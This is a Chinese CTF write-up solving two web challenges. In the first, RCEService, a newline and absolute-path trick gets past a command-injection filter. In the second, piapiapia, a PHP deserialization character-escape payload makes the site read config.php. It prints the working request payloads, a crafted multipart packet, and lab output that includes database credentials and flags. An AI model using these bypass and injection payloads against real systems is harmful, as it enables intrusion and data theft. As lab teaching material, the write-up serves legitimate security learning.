[FBCTF2019]RCEService
原始信息
Service:服务器
<html>
<body>
<h1>Web Adminstration Interface</h1>
<form>
Enter command as JSON:
<input name="cmd" />
</form>
</body>
</html>
解题
扫站扫不出个所以然,尝试直接输入参数进行测试
get: ?cmd=ls
return:输入无效
get: ?cmd=cat index.php
return: Hacking attempt detected
尝试以json格式访问
get:?cmd={"cmd":"ls"}
return: index.php
get:?cmd={"cmd":"cat index.php"}
return: Hacking attempt detected
尝试换行绕过匹配
get:?cmd={%0A"cmd":"cat index.php"%0A}
return:
尝试使用cat的绝对路径来执行命令
get:?cmd={%0A"cmd":"/bin/cat index.php"%0A}
return: 得到源码
源码:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
服务器当中,flag不在根目录,也不在当前目录。假设这是个服务器,那么应该存放在网站目录下,或者根目录,或者用户目录当中。
尝试访问用户目录进行查找:
get:?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
return:flag{0a45a344-da9d-4d40-92b7-fb2375ba33b7}
总结
换行绕过:%0a
json格式:{"cmd":"ls"}
存放flag的目录:用户目录,当前目录,根目录
[0CTF 2016]piapiapia
原始信息
扫站:
扫出了一个www.zip文件,还有注册页面,登录页面等。
大概框架如下:
| class.php
| config.php
| index.php
| profile.php
| register.php
| update.php
|
+---static
| bootstrap.min.css
| bootstrap.min.js
| jquery.min.js
| piapiapia.gif
|
+---upload
\---__MACOSX
| ._class.php
| ._config.php
| ._index.php
| ._profile.php
| ._register.php
| ._static
| ._update.php
| ._upload
|
\---static
._bootstrap.min.css
._bootstrap.min.js
._jquery.min.js
._piapiapia.gif
排除除了update.php下面的所有文件,文件内容进行分析。
解题
原本看到问题,下意识的使用SQL注入+爆破+扫站,但……只有扫站有结果,其他两个不了了之……
扫站扫出了个www.zip和注册页面,因为是dirmap慢速扫的,总是会出现不三不四的bug,也可能漏掉了几个关键的文件。
扫站扫出的网站备份文件的骨架就是上面那个。
从前辈那学到的经验:优先查看每个页面是否包含漏洞函数。
这算是第二次见到这种类型了吧……(纯小白)
挖掘漏洞函数:
序列化函数serialize:
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
获取文件内容函数file_get_contents和反序列化函数unserialize:
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
梳理漏洞函数相关执行流程
更新信息页挖掘:update.php
注 : 为了方便理清思路,冗余的代码不做过度的注释。
前面的注册,登录页面没有什么利用点,这里直接使用更新页面的php函数进行分析
$username = $_SESSION['username'];
# 正常的电话号码验证(严格)
if (!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
# 正常的邮箱验证(严格)
if (!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
# 字母数字下划线过滤(数组绕过)
if (preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if ($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
# 把信息转储到数组
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
# 将数组序列化后传递给update_profile(漏洞点)
$user->update_profile($username, serialize($profile));
update_profile下执行的函数
public function update_profile($username, $new_profile)
{
# 调用过滤
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
# 更新入数据库
return parent::update($this->table, 'profile', $new_profile, $where);
}
先看下filter:
public function filter($string)
{
# 将'和\替换为_
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
# 将数据库的关键字符串替换为hack。
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
filter 的功能是 替换关键字符串 ,当替换where的时候,会多溢出一个字符串的空间。下面会调用到。
再来看下update:
public function update($table, $key, $value, $where)
{
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
数据库传入表格的更新模板,但传入值三个被定死,只有序列化的字符串能被修改。
展示信息页挖掘:profile.php
展示信息页的函数执行流程分析:
其他的用户身份认证的步骤就省略了,直接看反序列化部分:
$profile=$user->show_profile($username);
# 反序列化后直接调用,推测是和之前一样的数组(调用方式完全相同……)
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
# 读取文件并且编码为base64
$photo = base64_encode(file_get_contents($profile['photo']));
再将字符串进行输出:
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
这是将数据获取后直接输出的,这个时候就可以考虑发序列化了。
原本想要修改的数据过滤太过严谨,唯独用户名那边可以钻空子。
这些输出的数据正是我们更新的数据,所以说,需要修改的数据在更新文件update.php当中。
反序列化之字符逃逸(垃圾回收机制利用)
原材原引自这位大佬:WP
$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($a));
var_dump(unserialize($b));
# 原理:挤掉原本合法的序列化字符串,使用新的字符串替代,再利用垃圾回收机制抛弃原始的字符串。
# 思路:利用序列化包装字符串,再利用反序列化解包字符串,利用file_get_contents读取文件内容。
# 其中,在探查config.php的过程当中,出现了下面信息数据库连接信息和$flag,应该是存放flag的地方
# 假设没有flag,但此处有数据库信息,可能可以尝试进行数据库的读取
测试完邮箱和电话号码,两者过滤机制很严格。能在调用反序列化的前提下利用反序列化的垃圾回收机制的只有用户别名了。
用户别名的过滤是这个样子的:
if (preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
只需要写个简单的数组过滤绕过去,就能在数组内插入反序列化字符串了。
根据这个数组是从更新文件那边抓的,用来构造序列化字符串:
$profile['phone'] = '17328888888';
$profile['email'] = '2732898888@qq.com';
$profile['nickname'] = array("1");#注入的地方
$profile['photo'] = 'upload/123';
# 根据顺序去添加的数组会按照顺序进行排列
# photo必然排列在数组末尾
# 所有的过滤除了nickename外过滤都很严格
# 现在只需要在nickname尝试载入序列化字符串即可
$x = serialize($profile);
#得到序列化的字符串
a:4:{s:5:"phone";s:11:"17328888888";s:5:"email";s:17:"2732898888@qq.com";s:8:"nickname";a:1:{i:0;s:1:"1";}s:5:"photo";s:10:"upload/123";}
#拆分字符串进行修改
# 1.
a:4:{s:5:"phone";s:11:"17328888888";s:5:"email";s:17:"2732898888@qq.com";s:8:"nickname";a:1:{i:0;s:1:"
# 2.
1";}s:5:"photo";s:10:"upload/123";}
# 把第二部分进行篡改,把读取的文件换成我们想要读取的config.php
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
# 改写为where的原因:原本字符串被反序列化的时候是会被计算长度的,使用where时被hacker,多出了一个字符。
# 利用where被hacker替换后增加的1个字符串的位置溢出序列化的固定长度
# 写那么多个where的原因:wherre用来挤占nickname序列化的固定空间,防止后面的";}s:5:"photo";s:10:"config.php";} 34个字符串被计入nickname当中。
# 每一个where溢出一个位置,共计溢出34个字符,刚好挤掉位置,完成序列化的替代。
假设序列化字符串和被替换字符串是这样的:
a:2:{s:8:"username";s:4:"kali";s:8:"password";s:9:"where1233";}
a:2:{s:8:"username";s:4:"kali";s:8:"password";s:9:"hacker1233";}
明显上面的r把大括号给挤出去了,长度明显大于9。但是逃逸的字符串只有一个。
如果是大批量的挤出就会形成大量的空间
# 改完后,把这个特殊的字符串放到数据包当中发出去
在根据数据包替换数据的时候,先进行数组绕过,再把关键字符串替换到用户名那再发包即可。
下面是数据包相关的信息:
-----------------------------309356887319876219933161643944
Content-Disposition: form-data; name="nickname[]"
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
-----------------------------309356887319876219933161643944
返回信息:
<b>Warning</b>: preg_match() expects parameter 2 to be string, array given in <b>/var/www/html/update.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>: strlen() expects parameter 1 to be string, array given in <b>/var/www/html/update.php</b> on line <b>15</b><br />
Update Profile Success!<a href="profile.php">Your Profile</a>
Update Profile Success就表示执行成功了。
再访问显示信息的页面,把img下的base64字符串解码即可。
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2JhMzZmNjRhLTRmOTktNDU1My1hMjAxLWY3MmE1YjQ0NmQzZX0nOwo/Pgo=" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi Array</h3>
<label>Phone: 16511349333</label>
<label>Email: 1445556721@qq.com</label>
</div>
</body>
# 关键的base64字符串
# PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2JhMzZmNjRhLTRmOTktNDU1My1hMjAxLWY3MmE1YjQ0NmQzZX0nOwo/Pgo=
解码:
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{ba36f64a-4f99-4553-a201-f72a5b446d3e}';
?>
总结
这次涉及了字符串的反序列化的占位:
$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($a));
var_dump(unserialize($b));
反序列化的溢出:
hacker替换where所产生的多余字符
假设序列化字符串和被替换字符串是这样的:
a:2:{s:8:"username";s:4:"kali";s:8:"password";s:9:"where1233";}
a:2:{s:8:"username";s:4:"kali";s:8:"password";s:9:"hacker1233";}
明显上面的r把大括号给挤出去了,长度明显大于9。但是逃逸的字符串只有一个。
如果是大批量的挤出就会形成大量的空间